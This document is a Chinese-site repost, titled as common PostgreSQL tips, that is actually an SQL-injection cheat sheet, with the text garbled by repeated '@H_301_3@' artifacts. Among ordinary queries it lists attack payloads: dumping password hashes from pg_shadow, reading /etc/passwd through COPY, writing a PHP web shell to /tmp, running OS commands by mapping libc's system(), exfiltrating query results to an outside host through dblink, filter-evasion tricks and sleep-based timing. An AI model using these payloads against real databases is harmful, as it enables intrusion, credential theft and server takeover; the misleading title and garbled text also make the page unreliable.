PostgreSQL最常用的一些小技巧

前端之家收集整理的这篇文章主要介绍了PostgreSQL最常用的一些小技巧前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

#Postgresql@H_301_3@ and PHP supports Batched Queries.
#Awesome,huh? (是不是很酷?)

Version@H_301_3@:

SELECT VERSION()

Directories@H_301_3@:

SELECT current_setting@H_301_3@(‘data_directory’)
SELECT current_setting@H_301_3@(‘hba_file’)
SELECT current_setting@H_301_3@(‘config_file’)
SELECT current_setting@H_301_3@(‘ident_file’)
SELECT current_setting@H_301_3@(‘external_pid_file’)

Users@H_301_3@:

SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();

Current Database@H_301_3@:

SELECT current_database();

Concatenation@H_301_3@:

SELECT 1||2||3; #Returns 123

Get Collation@H_301_3@:

SELECT pg_client_encoding(); #Returns your current encoding (collation).

Change Collation@H_301_3@:

SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.

Wildcards in SELECT(s)@H_301_3@:

SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

Regular Expression in SELECT(s)@H_301_3@:

#Returns all columns matching the regular expression.

SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
@H_301_3@SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

SELECT Without Dublicates@H_301_3@:

SELECT DISTINCT foo FROM bar

Counting Columns@H_301_3@:

SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

Get Amount of Postgresql@H_301_3@ Users@H_301_3@:

SELECT COUNT(*) FROM pg_catalog.pg_user

Get Postgresql@H_301_3@ Users@H_301_3@:

SELECT usename FROM pg_user

Get Postgresql@H_301_3@ User Privileges on Different Columns@H_301_3@:

SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get Postgresql@H_301_3@ User Privileges@H_301_3@:

SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

Get Postgresql@H_301_3@ User Credentials & Privileges@H_301_3@:

SELECT usename,passwd,useconfig FROM pg_catalog.pg_shadow

Get Postgresql@H_301_3@ DBA Accounts@H_301_3@:

SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

Get Databases@H_301_3@:

SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables@H_301_3@:

SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases,Tables & Columns@H_301_3@:

SELECT table_schema,column_name FROM information_schema.columns

SELECT A Certain Row@H_301_3@:

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

Conversion (Casting)@H_301_3@:

SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

Substring@H_301_3@:

SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,3); #Returns foo.

Hexadecimal Evasion@H_301_3@:

#Not as fancy as in MysqL,but it sure works!

SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65),chr(104)||chr(101)||chr(120)); #Returns A.

ASCII to Number@H_301_3@:

SELECT ASCII(‘A’); #Returns 65.

Number to ASCII@H_301_3@:

SELECT CHR(65); #Returns A.

If Statement@H_301_3@:

#Impossible in SELECT statements.
#However,here’s a work-around with sub-select(s).

SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

Case Statement@H_301_3@:

#May be used instead of the If-Statement.

SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

Read File(s)@H_301_3@:

CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

Write File(s)@H_301_3@:

CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>’);
COPY file(content) TO ‘/tmp/shell.PHP’;

Logical Operator(s)@H_301_3@:

#http://en.wikipedia.org/wiki/Logical_connective

AND
OR
NOT

Comments@H_301_3@:

SELECT foo,bar FROM foo.bar/*Multi line comment*/
SELECT foo,bar FROM foo.bar–Single line comment

A few evasions/methods to use between your Postgresql@H_301_3@ statements@H_301_3@:

CR (%0D); #Carrier Return.

LF (%0A); #Line Feed.

Tab (%09); #The Tab-key.

Space (%20); #Most commonly used. You know what a space is.

Multiline Comment (/**/); #Well,as the name says.

Parenthesis,( and ); #Can also be used as separators when used right.

Parenthesis instead of space@H_301_3@:

#As said two lines above,the use of parenthesis can be used as a separator.

SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));

Auto-Casting to Right Collation@H_301_3@:

SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

Benchmark@H_301_3@:

#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MysqL.

SELECT (||/(9999!));

Sleep@H_301_3@:

SELECT PG_SLEEP(5); #Sleeps the Postgresql@H_301_3@ database for 5 seconds.

Get Postgresql@H_301_3@ IP@H_301_3@:

SELECT inet_server_addr()

Get Postgresql@H_301_3@ Port@H_301_3@:

SELECT inet_server_port()

Command Execution@H_301_3@:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′,‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band))@H_301_3@:

SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’,‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With Postgresql@H_301_3@@H_301_3@:

  • dblink: The Root Of All Evil
  • Mapping Library Functions
  • From Sleeping and Copying In Postgresql@H_301_3@ 8.2
  • Recommendation and Prevention
  • Introducing pgshell

猜你在找的Postgre SQL相关文章